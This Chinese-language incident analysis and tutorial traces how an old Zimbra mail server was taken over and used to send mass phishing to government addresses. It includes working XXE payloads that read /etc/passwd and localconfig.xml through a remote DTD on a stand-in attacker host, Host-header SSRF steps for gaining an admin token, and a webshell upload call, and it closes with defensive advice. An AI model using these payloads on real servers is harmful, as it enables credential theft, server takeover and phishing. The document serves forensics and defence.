一次由Zimbra漏洞引发的钓鱼事件
字数 1550 2025-08-07 08:22:39
Zimbra漏洞分析与利用教学文档
0x00 概述
本文档详细分析Zimbra邮件系统存在的安全漏洞,包括XXE、SSRF和RCE漏洞的组合利用方式,以及如何通过这些漏洞最终实现服务器控制并发送钓鱼邮件。
0x01 调查取证分析
-
日志分析:
- 检查/var/log日志发现大量向后缀为gov.cn的邮箱发送钓鱼邮件
- 被退回邮件达3万多封
- 钓鱼链接格式:
http://XXXXXX/?i=i&m=XXXX@mail.com,其中m参数为被钓鱼的邮箱账号
-
系统检查:
- 发现Zimbra版本为8.0老版本,存在多个已知漏洞
- 服务器上找到常见的jsp木马文件
0x02 漏洞详细分析
XXE漏洞分析
-
漏洞接口:
/Autodiscover/Autodiscover.xml- POST发送空xml返回"No Email address is specified in the Request"
- 漏洞位于处理
AcceptableResponseSchema参数时未进行过滤
-
漏洞代码:
public void doPost(HttpServletRequest req, HttpServletResponse resp) {
reqBytes = ByteUtil.getContent(req.getInputStream(), req.getContentLength());
Document doc = docBuilder.parse(new InputSource(new StringReader(content)));
NodeList nList = doc.getElementsByTagName("Request");
for (int i = 0; i < nList.getLength(); i++) {
Node node = nList.item(i);
if (node.getNodeType() == 1) {
Element element = (Element)node;
email = getTagValue("EMailAddress", element);
// 漏洞点:未对AcceptableResponseSchema进行过滤
responseSchema = getTagValue("AcceptableResponseSchema", element);
}
}
if ((responseSchema != null) && (responseSchema.length() > 0)) {
if ((!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006"))
&& (!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"))) {
log.warn("Requested response schema not available " + responseSchema);
// 漏洞点:将responseSchema回显,造成XXE
sendError(resp, 503, "Requested response schema not available " + responseSchema);
return;
}
}
}
- XXE利用Payload:
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>123</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
- 读取特殊文件技巧:
- 使用CDATA绕过XML中的特殊字符限制
- 远程DTD文件示例(12.dtd):
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;" >
<!ENTITY % goodies SYSTEM "file:../conf/localconfig.xml" >
<!ENTITY % end "]]>" >
- 完整Payload:
<!ENTITY % dtd SYSTEM "http://attackip/12.dtd" >
%dtd;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&all;</AcceptableResponseSchema>
</Request>
</Autodiscover>
SSRF漏洞分析
-
漏洞背景:
- Zimbra为SOAP通信设置全局管理员(zimbra),密码存储在localconfig.xml
- 可通过
/service/extension/clientUploader/upload接口上传木马,但需要管理权限(7071端口)
-
SSRF利用条件:
- 目标关闭7071端口时,可利用ProxyServlet.doProxy()进行SSRF
- 漏洞点:使用ServletRequest.getServerPort()获取Host头中的端口
-
绕过管理员检查:
- 修改Host头为
ip:7071 - 在Cookie中携带有效令牌(ZM_ADMIN_AUTH_TOKEN)
- 修改Host头为
-
利用步骤:
- 第一步:获取低权限autotoken值
- 使用SOAP接口发送AuthRequest获取ZM_AUTH_TOKEN
- 第二步:构造SSRF请求
- 设置Host为
ip:7071 - Cookie设置为
ZM_ADMIN_AUTH_TOKEN=上步获取的ZM_AUTH_TOKEN - 将xmlns改为
xmlns="urn:zimbraAdmin"
- 设置Host为
- 第三步:获取真正的ZM_ADMIN_AUTH_TOKEN
- 第一步:获取低权限autotoken值
RCE漏洞利用
- 上传木马:
r = requests.post("https://ip:7071/service/extension/clientUploader/upload",
files=file,
headers=headers,
verify=False)
- 连接木马:
- 需要导入ZM_ADMIN_AUTH_TOKEN
- 木马地址:
https://ip:7071/downloads/XXX.jsp
0x03 完整攻击链
- 利用XXE漏洞读取localconfig.xml获取管理员凭证
- 当7071端口关闭时,利用SSRF漏洞绕过端口限制
- 获取高权限令牌(ZM_ADMIN_AUTH_TOKEN)
- 使用高权限令牌上传jsp木马文件
- 通过木马获取服务器控制权
- 利用控制的邮箱账号发送钓鱼邮件
0x04 防御建议
- 及时升级:将Zimbra升级到最新版本
- 配置加固:
- 禁用不必要的XML外部实体处理
- 限制ProxyServlet的访问权限
- 监控措施:
- 监控/var/log日志异常邮件发送行为
- 设置异常登录检测机制
- 权限管理:
- 严格管理管理员账户
- 及时清理离职员工账户
- 文件监控:监控Web目录下的异常文件上传
0x05 总结
本案例展示了攻击者如何利用Zimbra的XXE漏洞获取敏感信息,结合SSRF绕过管理端口限制,最终实现RCE并控制服务器发送钓鱼邮件。这种组合攻击方式具有较高的危害性,管理员应充分了解这些漏洞原理并采取相应防护措施。